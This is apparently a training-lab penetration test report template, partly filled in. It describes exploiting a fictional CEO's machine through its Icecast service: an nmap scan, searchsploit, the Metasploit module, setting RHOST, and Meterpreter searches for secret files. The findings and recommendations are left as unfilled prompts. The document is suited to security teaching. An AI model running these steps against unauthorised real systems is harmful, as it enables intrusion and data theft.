GoodSecurity Penetration Test Report

JAMESLEE[@GoodSecurity.com](mailto:YOURNAMEHERE@GoodSecurity.com)

7/18/2021

* High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp’s CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans’ computer and determine if it is at risk. GoodSecurity’s overall objective was to exploit any vulnerable software and find the secret recipe file on Hans’ computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were

identified on Hans’ desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the ‘Findings’ category.

Run the Nmap command that performs a service and version scan against the target.

Answer: Ran nmap -sV 192.168.0.20 |

From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:

Run the SearchSploit commands to show available Icecast exploits.

Answer: Ran searchsploit Icecast

Now that we know which exploits are available to us, let's start Metasploit:

Run the command that starts Metasploit:

Answer: Ran msfconsole

Search for the Icecast module and load it for use.

Run the command to search for the Icecast module:

Answer: Ran search Icecast

Run the command to use the Icecast module:

Note: Instead of copying the entire path to the module, you can use the number in front of it.

Answer:

Set the RHOST to the target machine.

Run the command that sets the RHOST:

Answer: Ran set RHOST 192.168.09.20.

Run the Icecast exploit.

Run the command that runs the Icecast exploit.

Answer: Ran run

Run the command that performs a search for the secretfile.txt on the target.

Answer: Ran search -f \*secretfile\*.txt.

You should now have a Meterpreter session open.

Run the command to performs a search for the recipe.txt on the target:

Answer: Ran search -f \*recipe\*.txt.

* Findings

Machine IP:

Machine’s IP address

Hostname:

Actual name of the machine

Vulnerability Exploited:

The name of the script or Metasploit module used

Vulnerability Explanation:

Explain the vulnerability as best you can by explaining the attack type (i.e. is it a heap overflow attack, buffer overflow, file inclusion, etc.?) and briefly summarize what that attack is (Might need Google’s help!)

Severity:

In your expert opinion, how severe is this vulnerability?

Proof of Concept:

This is where you show the steps you took. Show the client how you exploited the software services. Please include screenshots!

There should be a separate finding for each vulnerability found!

* Recommendations

What recommendations would you give to GoodCorp?